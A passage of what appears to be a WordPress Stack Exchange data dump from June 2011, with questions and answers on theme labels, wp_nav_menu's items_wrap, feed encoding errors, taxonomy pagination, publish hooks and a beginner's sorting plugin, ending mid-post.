  <row Id="19240" PostTypeId="1" AcceptedAnswerId="19244" CreationDate="2011-06-05T01:42:23.997" Score="0" ViewCount="61" Body="&lt;p&gt;I'm developing a child theme of a premium template, this comes with a custom post type with the label name of &quot;Projects&quot; but I'd like to change it to something else, I know that if I go to the functions.php file of the main theme I can change it easily but I'd like to change it from my child theme so I don't have to edit any of the original files, is it possible?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance!&lt;/p&gt;&#xA;" OwnerUserId="3893" LastActivityDate="2011-06-05T04:41:11.973" Title="Can I change a custom post type label from a child theme?" Tags="&lt;custom-post-types&gt;" AnswerCount="1" />
  <row Id="19241" PostTypeId="1" CreationDate="2011-06-05T03:05:09.900" Score="2" ViewCount="33" Body="&lt;p&gt;i have a client who has a live wordpress site. I logged into their ftp and its hard to tell what directory wordpress is actually installed. How can i verify through wordpress what directory it is located in?&lt;/p&gt;&#xA;" OwnerUserId="5919" LastActivityDate="2011-06-05T10:21:55.993" Title="Where would i look to find the directory wordpress is installed in?" Tags="&lt;installation&gt;" AnswerCount="3" CommentCount="1" />
  <row Id="19242" PostTypeId="2" ParentId="19238" CreationDate="2011-06-05T04:35:48.070" Score="0" ViewCount="" Body="&lt;p&gt;Go to Settings&gt;Permalinks and add it to the permalink structures &lt;/p&gt;&#xA;" OwnerUserId="4998" LastActivityDate="2011-06-05T04:35:48.070" CommentCount="19" />
  <row Id="19243" PostTypeId="2" ParentId="19241" CreationDate="2011-06-05T04:39:39.303" Score="0" ViewCount="" Body="&lt;p&gt;Is there a lot of wordpress sites or no? If no then just look at the files that have all the wp- prefixes. If yes then ask the client what directory is the domain pointing to. I do not think there is a way to tell this through wordpress itself&lt;/p&gt;&#xA;" OwnerUserId="4998" LastActivityDate="2011-06-05T04:39:39.303" />
  <row Id="19244" PostTypeId="2" ParentId="19240" CreationDate="2011-06-05T04:41:11.973" Score="3" ViewCount="" Body="&lt;p&gt;There is a global array &lt;code&gt;$wp_post_types&lt;/code&gt;. You can change &lt;code&gt;$wp_post_types[$post_type]-&amp;gt;labels&lt;/code&gt; after the parent theme has set the CPT.&lt;/p&gt;&#xA;" OwnerUserId="73" LastActivityDate="2011-06-05T04:41:11.973" CommentCount="4" />
  <row Id="19245" PostTypeId="1" AcceptedAnswerId="19247" CreationDate="2011-06-05T05:01:58.873" Score="2" ViewCount="2309" Body="&lt;p&gt;I'm using &lt;strong&gt;wp_nav_menu&lt;/strong&gt; and am trying to create custom output for the sub-level drop downs.  I came across the &quot;items_wrap&quot; argument but there's really not much information as to what it is, how it works, and what kind of things can be done with it.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What exactly &lt;em&gt;is&lt;/em&gt; &quot;&lt;strong&gt;%1$s&lt;/strong&gt;&quot; and &quot;&lt;strong&gt;%2$s&lt;/strong&gt;&quot;?  (Can anyone explain it in layman's terms?)&lt;/p&gt;&#xA;" OwnerUserId="1663" LastActivityDate="2011-06-05T06:03:36.147" Title="Any docs for wp_nav_menu's &quot;items_wrap&quot; argument?" Tags="&lt;custom-menus&gt;&lt;dropdown&gt;" AnswerCount="2" FavoriteCount="2" />
  <row Id="19246" PostTypeId="2" ParentId="19245" CreationDate="2011-06-05T05:12:36.787" Score="0" ViewCount="" Body="&lt;p&gt;from what i gather it grabs an output and give the li a id and class with the menus name. So when you want to style a particular menu you grab its id and or class if you want to style it. the 1 and 2 is just a different output. &lt;/p&gt;&#xA;" OwnerUserId="4998" LastActivityDate="2011-06-05T05:12:36.787" />
  <row Id="19247" PostTypeId="2" ParentId="19245" CreationDate="2011-06-05T05:58:05.387" Score="9" ViewCount="" Body="&lt;p&gt;The parameter &lt;code&gt;'items_wrap'&lt;/code&gt; for &lt;code&gt;wp_nav_menu()&lt;/code&gt; defaults to &lt;code&gt;'&amp;lt;ul id=&quot;%1$s&quot; class=&quot;%2$s&quot;&amp;gt;%3$s&amp;lt;/ul&amp;gt;'&lt;/code&gt;. It is parsed with &lt;a href=&quot;http://www.php.net/sprintf&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;sprintf()&lt;/code&gt;&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$nav_menu .= sprintf( &#xA;    $args-&amp;gt;items_wrap&#xA;,   esc_attr( $wrap_id )    // %1$s&#xA;,   esc_attr( $wrap_class ) // %2$s&#xA;,   $items                  // %3$s&#xA;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The numbered placeholders – &lt;code&gt;%1$s&lt;/code&gt;, &lt;code&gt;%2$s&lt;/code&gt;, &lt;code&gt;%3$s&lt;/code&gt; – refer to the arguments &lt;em&gt;after&lt;/em&gt; the first argument in &lt;code&gt;sprintf()&lt;/code&gt;. The percent sign marks a placeholder, the number the position and the type &lt;code&gt;s&lt;/code&gt; means it should be treated as a string.&lt;br&gt;&#xA;Do not change the type unless you really know what you do. :)&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;$wrap_id&lt;/code&gt; is the parameter &lt;code&gt;'menu_id'&lt;/code&gt; if you have it set, else it is &lt;code&gt;'menu-' . $menu-&amp;gt;slug&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;$wrap_class&lt;/code&gt; is the parameter &lt;code&gt;'menu_class'&lt;/code&gt; if you have it set, else it is empty.&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;$items&lt;/code&gt; is a string of the inner content of the menu.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Let’s say you don’t need a &lt;code&gt;class&lt;/code&gt;. Just omit the second string:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;wp_nav_menu( array( 'items_wrap' =&amp;gt; '&amp;lt;ul id=&quot;%1$s&quot;&amp;gt;%3$s&amp;lt;/ul&amp;gt;' ) );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you don’t need the &lt;code&gt;class&lt;/code&gt; and the &lt;code&gt;id&lt;/code&gt;, and you want another container (because you used a &lt;a href=&quot;http://wordpress.stackexchange.com/questions/14037/menu-items-description/14039#14039&quot;&gt;custom walker&lt;/a&gt;):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;wp_nav_menu( array( 'items_wrap' =&amp;gt; '&amp;lt;div&amp;gt;%3$s&amp;lt;/div&amp;gt;' ) );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The main point is: You have to use the numbers for the replacements given in &lt;code&gt;wp_nav_menu()&lt;/code&gt;. &lt;code&gt;%3$s&lt;/code&gt; is always the list of items.&lt;/p&gt;&#xA;" OwnerUserId="73" LastEditorUserId="73" LastEditorDisplayName="" LastEditDate="2011-06-05T06:03:36.147" LastActivityDate="2011-06-05T06:03:36.147" CommentCount="1" />
  <row Id="19248" PostTypeId="2" ParentId="19241" CreationDate="2011-06-05T06:09:38.087" Score="3" ViewCount="" Body="&lt;p&gt;Quick and dirty: Go to the theme editor and echo &lt;code&gt;ABSPATH&lt;/code&gt; in a comment of &lt;code&gt;header.php&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="73" LastActivityDate="2011-06-05T06:09:38.087" />
  <row Id="19249" PostTypeId="1" AcceptedAnswerId="19251" CreationDate="2011-06-05T07:07:48.260" Score="2" ViewCount="22" Body="&lt;p&gt;We have a site &lt;a href=&quot;http://ort.org.il&quot; rel=&quot;nofollow&quot;&gt;http://ort.org.il&lt;/a&gt; built with WP 3.1.2. Its RSS address should be &lt;a href=&quot;http://ort.org.il/feed/&quot; rel=&quot;nofollow&quot;&gt;http://ort.org.il/feed/&lt;/a&gt;, but nothing shows up there. I can see the feed in the View Source, but not in the browser, and not in one of our other applications, that reads the RSS from this site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What could be the problem, and how can I fix it?&lt;/p&gt;&#xA;" OwnerUserId="373" LastEditorUserId="73" LastEditorDisplayName="" LastEditDate="2011-06-07T14:14:37.540" LastActivityDate="2011-06-07T14:14:37.540" Title="Site Rss not seen by browser" Tags="&lt;rss&gt;&lt;encoding&gt;" AnswerCount="1" />
  <row Id="19250" PostTypeId="1" CreationDate="2011-06-05T07:38:57.917" Score="1" ViewCount="90" Body="&lt;p&gt;I am using WP Content Slideshow. I like the plugin, but am having an issue with it. I mailed the creator, but no response, so I am trying to troubleshoot what is causing the problem. You can see the issue on the homepage of &lt;a href=&quot;http://elyconnect.com&quot; rel=&quot;nofollow&quot;&gt;elyconnect.com&lt;/a&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The plugin uses the featured image for the image in the slideshow. I set the resolution for each image size correctly, but the images are &quot;cropping&quot; and I dont know why.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm open to suggestions, or a recommendation for a better plugin if one exists.&lt;/p&gt;&#xA;" OwnerUserId="2883" LastActivityDate="2011-09-03T14:40:55.110" Title="Is WP feature image function cropping images? WP Content Slideshow" Tags="&lt;plugins&gt;&lt;slideshow&gt;" AnswerCount="1" />
  <row Id="19251" PostTypeId="2" ParentId="19249" CreationDate="2011-06-05T07:52:44.653" Score="2" ViewCount="" Body="&lt;p&gt;The problem is an invalid UTF-8 character in the excerpt &lt;code&gt;&amp;lt;description&amp;gt;&lt;/code&gt;. The text is cut off in the middle of a multi-byte character, rendering your complete feed invalid. You get a slightly hint when you look at it in Opera.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do you filter &lt;code&gt;'bloginfo_rss'&lt;/code&gt; or &lt;code&gt;'get_bloginfo_rss'&lt;/code&gt;? Disable all plugins and look if the feed is still broken.&lt;/p&gt;&#xA;" OwnerUserId="73" LastActivityDate="2011-06-05T07:52:44.653" CommentCount="2" />
  <row Id="19252" PostTypeId="1" CreationDate="2011-06-05T10:01:00.257" Score="1" ViewCount="48" Body="&lt;p&gt;I want the site to have a consistent look and feel so want to prevent authors from changing font, font color or font size. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to either override their choices, or remove the option?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cheers&lt;/p&gt;&#xA;" OwnerUserId="2495" LastActivityDate="2011-06-05T12:57:42.810" Title="Can I stop authors from changing the font in their post?" Tags="&lt;author&gt;&lt;privileges&gt;" AnswerCount="2" />
  <row Id="19253" PostTypeId="2" ParentId="19252" CreationDate="2011-06-05T10:17:34.783" Score="2" ViewCount="" Body="&lt;p&gt;You can deactivate the buttons on &lt;a href=&quot;http://wordpress.stackexchange.com/questions/3041/make-wordpress-wysiwyg-not-strip-out-iframes/3067#3067&quot;&gt;tinymce&lt;/a&gt; and html-editor, but the user can than also create html-tags. Then is is also possible you filter &lt;code&gt;the_content&lt;/code&gt; and replace the font-tags with empty fields.&lt;/p&gt;&#xA;" OwnerUserId="170" LastActivityDate="2011-06-05T10:17:34.783" />
  <row Id="19254" PostTypeId="2" ParentId="19250" CreationDate="2011-06-05T10:20:22.050" Score="0" ViewCount="" Body="&lt;p&gt;I think on your example is the picture to small for crooping;  if the image is smaller as the config on mediathek in WP, than it is not possible to crop the image. Your theme use the image from 300px width for this view and the css style defined 447px.&lt;/p&gt;&#xA;" OwnerUserId="170" LastActivityDate="2011-06-05T10:20:22.050" CommentCount="1" />
  <row Id="19255" PostTypeId="2" ParentId="19241" CreationDate="2011-06-05T10:21:55.993" Score="1" ViewCount="" Body="&lt;p&gt;Use the plugin &lt;a href=&quot;http://wordpress.org/extend/plugins/debug-objects/&quot; rel=&quot;nofollow&quot;&gt;Debug Objects&lt;/a&gt; and you get all informations about the install. &lt;/p&gt;&#xA;" OwnerUserId="170" LastActivityDate="2011-06-05T10:21:55.993" />
  <row Id="19256" PostTypeId="2" ParentId="19215" CreationDate="2011-06-05T10:26:12.853" Score="0" ViewCount="" Body="&lt;p&gt;WP Multisite has no limit, but it is important that you &lt;a href=&quot;http://wordpress.stackexchange.com/questions/2825/wordpress-sharding-which-multi-db-plugin-to-use&quot;&gt;devide the database&lt;/a&gt; for many sites. I have an install with curretn 9999 sites and 1024 databases, but is hard to work on this with an tool how phpMyAdmin, but possible. &lt;/p&gt;&#xA;" OwnerUserId="170" LastActivityDate="2011-06-05T10:26:12.853" />
  <row Id="19257" PostTypeId="2" ParentId="19180" CreationDate="2011-06-05T10:39:31.090" Score="1" ViewCount="" Body="&lt;p&gt;On a different fields it is also possible you deactivate the function of WP; as example comments and author:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action( 'admin_init', 'fb_deactivate_support' );&#xA;function fb_deactivate_support() {&#xA;    remove_post_type_support( 'post', 'comments' );&#xA;    remove_post_type_support( 'post', 'author' );&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;the post-string is for the post_type, you can also use this for all post types via:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;foreach ( get_post_types() as $post_type ) {&#xA;    remove_post_type_support( $post_type, 'comments' );&#xA;} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/8VZes.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="170" LastActivityDate="2011-06-05T10:39:31.090" />
  <row Id="19258" PostTypeId="1" CreationDate="2011-06-05T10:41:26.533" Score="1" ViewCount="198" Body="&lt;p&gt;I've created list of custom taxonomy term and have problem with pagination. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Custom post type &quot;gallery&quot; has his own custom taxonomy &quot;gallery_category&quot;. The next loop lists all items of chosen Gallery category:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;        /* Some info:&#xA;         * http://wordpress.stackexchange.com/questions/13888/retrieve-single-term-slug&#xA;         * http://codex.wordpress.org/Function_Reference/WP_Query#Taxonomy_Parameters&#xA;         */&#xA;        $term_slug = get_queried_object()-&amp;gt;slug;&#xA;        if ( !$term_slug )&#xA;            return;&#xA;            else&#xA;        $args = array(&#xA;            'tax_query' =&amp;gt; array(&#xA;                array(&#xA;                    'post_type' =&amp;gt; 'gallery',&#xA;                    'taxonomy' =&amp;gt; 'gallery_category',&#xA;                    'field' =&amp;gt; 'slug',&#xA;                    'terms' =&amp;gt; $term_slug&#xA;                )&#xA;            ), &#xA;            'posts_per_page' =&amp;gt; 3,&#xA;            'paged' =&amp;gt; get_query_var( 'paged' )&#xA;        );&#xA;        $loop = new WP_Query( $args );&#xA;            while ( $loop-&amp;gt;have_posts() ) : $loop-&amp;gt;the_post(); ?&amp;gt;&#xA;&#xA;            &amp;lt;div id=&quot;post-&amp;lt;?php the_ID(); ?&amp;gt;&quot; &amp;lt;?php post_class(); ?&amp;gt;&amp;gt;&#xA;                &amp;lt;h2 class=&quot;entry-title&quot;&amp;gt;&amp;lt;a href=&quot;&amp;lt;?php the_permalink(); ?&amp;gt;&quot; title=&quot;&amp;lt;?php printf( esc_attr__( 'Permalink to %s', 'poznaj-wilno' ), the_title_attribute( 'echo=0' ) ); ?&amp;gt;&quot; rel=&quot;bookmark&quot;&amp;gt;&amp;lt;?php the_title(); ?&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/h2&amp;gt;&#xA;                &amp;lt;div class=&quot;entry-thumbnail&quot;&amp;gt;&#xA;                    &amp;lt;?php if ( has_post_thumbnail() ) : ?&amp;gt;&#xA;                        &amp;lt;a href=&quot;&amp;lt;?php the_permalink(); ?&amp;gt;&quot; title=&quot;&amp;lt;?php printf( esc_attr__( 'Permalink to %s', 'poznaj-wilno' ), the_title_attribute( 'echo=0' ) ); ?&amp;gt;&quot; rel=&quot;bookmark&quot;&amp;gt;&amp;lt;?php the_post_thumbnail( 'gallery-thumbnail' ); ?&amp;gt;&amp;lt;/a&amp;gt;&#xA;                    &amp;lt;?php endif; ?&amp;gt;&#xA;                &amp;lt;/div&amp;gt;&amp;lt;!-- .entry-thumbnail --&amp;gt;         &#xA;            &amp;lt;/div&amp;gt;&amp;lt;!-- #post-## --&amp;gt;             &#xA;            &amp;lt;?php endwhile; // End the loop. Whew.&#xA;/*Using WP-PageNavi plugin. &#xA;* Call based on - http://scribu.net/wordpress/wp-pagenavi/wpn-2-74.html&#xA;*/ ?&amp;gt;&#xA;&amp;lt;div class=&quot;pagination&quot;&amp;gt;&#xA;&amp;lt;?php&#xA;    if ( function_exists('wp_pagenavi') )&#xA; wp_pagenavi( array( 'query' =&amp;gt; $loop ) ); &#xA;?&amp;gt;&#xA;&amp;lt;/div&amp;gt;&amp;lt;!-- .pagination --&amp;gt;    &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm using WP PageNavi plugin to create pagination and I'm facing the problem with &quot;&lt;code&gt;get_queried_object()&lt;/code&gt;&quot; function. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It takes term name from the link: &lt;code&gt;http://domain.ltd/gallery/categories/term-slug&lt;/code&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I click on next page, link changes to: &lt;code&gt;../gallery/categories/term-slug/page/2&lt;/code&gt;. &#xA;Because link slug has been changed I'm getting an error.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Maybe you have any ideas how could i solve this problem? Thanks.&lt;/p&gt;&#xA;" OwnerUserId="3855" LastEditorUserId="-1" LastEditorDisplayName="" LastEditDate="2011-06-07T15:24:00.450" LastActivityDate="2011-06-07T15:24:00.450" Title="Create pagination in the items list of specified custom taxonomy term" Tags="&lt;custom-post-types&gt;&lt;custom-taxonomy&gt;&lt;pagination&gt;&lt;plugin-wp-pagenavi&gt;" CommentCount="3" FavoriteCount="2" />
  <row Id="19259" PostTypeId="2" ParentId="18839" CreationDate="2011-06-05T11:04:29.110" Score="1" ViewCount="" Body="&lt;p&gt;If you publish a post, also custom post type, the hook get form status and post_type - &lt;code&gt;{$new_status}_{$post-&amp;gt;post_type}&lt;/code&gt; - is active and you can use this hook for send an mail. As an examaple for publish music: &lt;code&gt;add_action('publish_music', 'fb_my_function');&lt;/code&gt; &#xA;You can also send the revision inside the mail, the revision is only a other post type and can get from the database and add to the message of the mail.&#xA;Maybe you can see the possibilities on &lt;a href=&quot;http://wordpress.org/extend/plugins/inform-about-content/&quot; rel=&quot;nofollow&quot;&gt;my last plugin&lt;/a&gt;, send mails for comments and posts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;An simple example for custom post type &quot;Archive&quot;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public $post_type_1 = 'archiv';&#xA;&#xA;add_action( 'publish_' . $this -&amp;gt; post_type_1, array( $this, 'fb_my_function') );&#xA;&#xA;        public function fb_my_function( $post_id = FALSE ) {&#xA;&#xA;            if ( $post_id ) {&#xA;                // get data from current post&#xA;                $post_data = get_post( $post_id );&#xA;                //var_dump($post_data);exit; &amp;lt;-- see this for all content or use the id for get the revisons&#xA;&#xA;                // get mail from author&#xA;                $user_mail = get_userdata( $post_data -&amp;gt; post_author );&#xA;&#xA;                // email addresses&#xA;                $to = 'test@example.com'&#xA;                // email subject&#xA;                $subject = get_option( 'blogname' ) . ': ' . $post_data -&amp;gt; post_title;&#xA;                // message content&#xA;                $message = $post_data -&amp;gt; post_content . ' ' . PHP_EOL .  &#xA;                    get_author_name( $post_data -&amp;gt; post_author ) . ' ' . PHP_EOL . . &#xA;                    get_permalink( $post_id );&#xA;                // create header data&#xA;                $headers = 'From: ' . &#xA;                    get_author_name( $post_data -&amp;gt; post_author ) . &#xA;                    ' (' . get_option( 'blogname' ) . ')' . &#xA;                    ' &amp;lt;' . $user_mail -&amp;gt; user_email . '&amp;gt;' . &#xA;                    PHP_EOL;&#xA;                // send mail&#xA;                wp_mail( &#xA;                    $to,&#xA;                    $subject, &#xA;                    $message,&#xA;                    $headers&#xA;                );&#xA;            }&#xA;&#xA;            return $post_id;&#xA;        }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="170" LastActivityDate="2011-06-05T11:04:29.110" CommentCount="1" />
  <row Id="19260" PostTypeId="1" CreationDate="2011-06-05T11:57:23.270" Score="0" ViewCount="50" Body="&lt;p&gt;What I need to do is inspect the content of the post and title and based on the inspection, redirect to a different page. To do this, I need to know if a &quot;POST&quot; action is for saving a post. How to detect this?&lt;/p&gt;&#xA;" OwnerUserId="5410" LastActivityDate="2011-09-05T08:43:02.910" Title="Is it possible to detect if a POST action is for a &quot;Save Post&quot; before the save_post action?" Tags="&lt;redirect&gt;&lt;save-post&gt;" AnswerCount="1" />
  <row Id="19261" PostTypeId="2" ParentId="19252" CreationDate="2011-06-05T12:57:42.810" Score="1" ViewCount="" Body="&lt;p&gt;try and add &lt;code&gt;!important&lt;/code&gt; to all styles related to the post content that you want to restrict from being changed by the authors; this should force these styles even if somebody uses html tags with inline styles (unless they also use &lt;code&gt;!important&lt;/code&gt;)&#xA;&lt;a href=&quot;http://www.w3.org/TR/CSS21/cascade.html#important-rules&quot; rel=&quot;nofollow&quot;&gt;http://www.w3.org/TR/CSS21/cascade.html#important-rules&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="4884" LastActivityDate="2011-06-05T12:57:42.810" CommentCount="1" />
  <row Id="19262" PostTypeId="2" ParentId="19260" CreationDate="2011-06-05T13:11:08.573" Score="0" ViewCount="" Body="&lt;p&gt;Take a look at the &lt;a href=&quot;http://codex.wordpress.org/Plugin_API/Action_Reference&quot; rel=&quot;nofollow&quot;&gt;Plugin API/Action Reference: Actions Run During an Admin Page Request.&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then add something simple to the appropriate hook:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function wpse19260_inspect_post()&#xA;{&#xA;    echo '&amp;lt;pre&amp;gt;';&#xA;        // print_r( $_POST );&#xA;        echo $_POST-&amp;gt;ID;&#xA;        echo $_POST-&amp;gt;post_content;&#xA;        echo $_POST-&amp;gt;post_title&#xA;    echo '&amp;lt;pre&amp;gt;';&#xA;}&#xA;add_action( 'publish_post', 'wpse19260_inspect_post' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="385" LastActivityDate="2011-06-05T13:11:08.573" />
  <row Id="19264" PostTypeId="2" ParentId="19234" CreationDate="2011-06-05T13:13:38.307" Score="1" ViewCount="" Body="&lt;p&gt;assign the additional category 'featured' to the post in the category 'medical'.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;in your category template, use a query with &lt;a href=&quot;http://codex.wordpress.org/Class_Reference/WP_Query#Category_Parameters&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;'category__and' =&amp;gt; array(3, 27)&lt;/code&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;example (assuming 'medical' is cat 3, and 'featured' is cat 27):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php $args = array(&#xA;  'category__and' =&amp;gt; array(3, 27),&#xA;  'posts_per_page' =&amp;gt; 1&#xA;  );&#xA;$feature = new WP_Query( $args );&#xA;if( $feature-&amp;gt;have_posts() ) : while( $feature-&amp;gt;have_posts() ) : $feature-&amp;gt;the_post(); ?&amp;gt;&#xA;  &amp;lt;div class=&quot;featured&quot;&amp;gt;&#xA;   ANY POST OUTPUT &amp;lt;?php the_title(); ?&amp;gt;&#xA;  &amp;lt;/div&amp;gt;&#xA;&amp;lt;?php endwhile; endif; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4884" LastActivityDate="2011-06-05T13:13:38.307" />
  <row Id="19265" PostTypeId="1" CreationDate="2011-06-05T13:32:37.703" Score="0" ViewCount="159" Body="&lt;p&gt;I've hacked together a plugin to sort posts by views and rating using wp-postviews and gd star rating. Keep in mind I know little about coding. It works, but on a custom theme I've found it requires the query posts to be reset before the loop. So how would I insert code from a plugin before the if (have_posts()) {? into the template containing the loop? Also if anyone has some tips on my bad coding for optimization, and how the plugin should of been written? or where I have gone wrong?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;query_posts( $query_string . '' );&#xA;if (have_posts()) {&#xA;&#xA;&amp;lt;?php&#xA;/*&#xA;Plugin Name: Post Order by Views and Rating.&#xA;Plugin URI: &#xA;Description: Post Order by Views and Rating. Requires WP-PostViews &amp;amp; GD-Star-Rating.&#xA;Author: &#xA;Version: 1.0&#xA;Author URI: &#xA;*/&#xA;&#xA;function sortby() {&#xA;$uri = $_SERVER['REQUEST_URI'];&#xA;$paged = (get_query_var('paged')) ? get_query_var('paged') : 1;&#xA;if ($uri == '/')  { ?&amp;gt;&#xA;&amp;lt;form name=&quot;form1&quot; action=&quot;../&quot;&amp;gt;&#xA;&amp;lt;div style=&quot;padding-left:15px; margin:10px 0 10px;&quot;&amp;gt;Sort by:&amp;lt;select id=&quot;select1&quot; onchange=&quot;window.open(this.options[this.selectedIndex].value,'_top')&quot; onclick=&quot;document.form1.select1.selectedIndex=0&quot;&amp;gt;&#xA;    &amp;lt;option value=&quot;../&quot;&amp;gt;Latest Posts&amp;lt;/option&amp;gt;                                                                                 &#xA;    &amp;lt;option value=&quot;../?v_sortby=views&amp;amp;amp;v_orderby=desc&quot;&amp;gt;Most Popular&amp;lt;/option&amp;gt;&#xA;    &amp;lt;option value=&quot;../?gdsr_sort=rating&amp;amp;gdsr_order=desc&quot;&amp;gt;Rating&amp;lt;/option&amp;gt;&#xA;    &amp;lt;/select&amp;gt;&#xA;    &amp;lt;/form&amp;gt; &#xA;    &amp;lt;/div&amp;gt;&#xA;&amp;lt;?php } &#xA;&#xA;if ($uri == '/?v_sortby=views&amp;amp;v_orderby=desc' ) {  ?&amp;gt; &#xA;&amp;lt;form name=&quot;form2&quot; action=&quot;../&quot;&amp;gt;&#xA;&amp;lt;div style=&quot;padding-left:15px; margin:10px 0 10px;&quot;&amp;gt;Sort by:&amp;lt;select id=&quot;select2&quot; onchange=&quot;window.open(this.options[this.selectedIndex].value,'_top')&quot; onclick=&quot;document.form2.select2.selectedIndex=0&quot;&amp;gt;&#xA;    &amp;lt;option value=&quot;../?v_sortby=views&amp;amp;amp;v_orderby=desc&quot;&amp;gt;Most Popular&amp;lt;/option&amp;gt;&#xA;    &amp;lt;option value=&quot;../&quot;&amp;gt;Latest Posts&amp;lt;/option&amp;gt;  &#xA;    &amp;lt;option value=&quot;../?gdsr_sort=rating&amp;amp;gdsr_order=desc&quot;&amp;gt;Rating&amp;lt;/option&amp;gt;&#xA;    &amp;lt;/select&amp;gt;&#xA;    &amp;lt;/form&amp;gt; &#xA;    &amp;lt;/div&amp;gt;&#xA;&amp;lt;?php  } &#xA;&#xA;if ($uri == &quot;/page/$paged?v_sortby=views&amp;amp;v_orderby=desc&quot;)  { ?&amp;gt;&#xA;&amp;lt;form name=&quot;form3&quot;action=&quot;../&quot;&amp;gt;                                   &#xA;&amp;lt;div style=&quot;padding-left:15px; margin:10px 0 10px;&quot;&amp;gt;Sort by:&amp;lt;select id=&quot;select3&quot; onchange=&quot;window.open(this.options[this.selectedIndex].value,'_top')&quot; onclick=&quot;document.form3.select3.selectedIndex=0&quot;&amp;gt; &#xA;    &amp;lt;option value=&quot;../page/&amp;lt;?php echo $paged; ?&amp;gt;?v_sortby=views&amp;amp;v_orderby=desc&quot;&amp;gt;Most Popular&amp;lt;/option&amp;gt;&#xA;    &amp;lt;option value=&quot;../page/&amp;lt;?php echo $paged; ?&amp;gt;&quot;&amp;gt;Latest Posts&amp;lt;/option&amp;gt;&#xA;    &amp;lt;option value=&quot;../page/&amp;lt;?php echo $paged; ?&amp;gt;?gdsr_sort=rating&amp;amp;gdsr_order=desc&quot;&amp;gt;Rating&amp;lt;/option&amp;gt;&#xA;    &amp;lt;/select&amp;gt;&#xA;    &amp;lt;/form&amp;gt; &#xA;    &amp;lt;/div&amp;gt;&#xA;&amp;lt;?php } &#xA;&#xA;if ($uri == &quot;/page/$paged&quot;)  { ?&amp;gt;&#xA;&amp;lt;form name=&quot;form4&quot; action=&quot;../&quot;&amp;gt;                                   &#xA;&amp;lt;div style=&quot;padding-left:15px; margin:10px 0 10px;&quot;&amp;gt;Sort by:&amp;lt;select id=&quot;select4&quot; onchange=&quot;window.open(this.options[this.selectedIndex].value,'_top')&quot; onclick=&quot;document.form4.select4.selectedIndex=0&quot;&amp;gt;&#xA;    &amp;lt;option value=&quot;../page/&amp;lt;?php echo $paged; ?&amp;gt;&quot;&amp;gt;Latest Posts&amp;lt;/option&amp;gt;&#xA;    &amp;lt;option value=&quot;../page/&amp;lt;?php echo $paged; ?&amp;gt;?v_sortby=views&amp;amp;v_orderby=desc&quot;&amp;gt;Most Popular&amp;lt;/option&amp;gt;&#xA;    &amp;lt;option value=&quot;../page/&amp;lt;?php echo $paged; ?&amp;gt;?gdsr_sort=rating&amp;amp;gdsr_order=desc&quot;&amp;gt;Rating&amp;lt;/option&amp;gt;&#xA;    &amp;lt;/select&amp;gt;&#xA;    &amp;lt;/form&amp;gt; &#xA;    &amp;lt;/div&amp;gt;&#xA;&amp;lt;?php } &#xA;&#xA;if ($uri == &quot;/?gdsr_sort=rating&amp;amp;gdsr_order=desc&quot;)  { ?&amp;gt;&#xA;&amp;lt;form name=&quot;form5&quot;action=&quot;../&quot;&amp;gt;                                   &#xA;&amp;lt;div style=&quot;padding-left:15px; margin:10px 0 10px;&quot;&amp;gt;Sort by:&amp;lt;select id=&quot;select5&quot; onchange=&quot;window.open(this.options[this.selectedIndex].value,'_top')&quot; 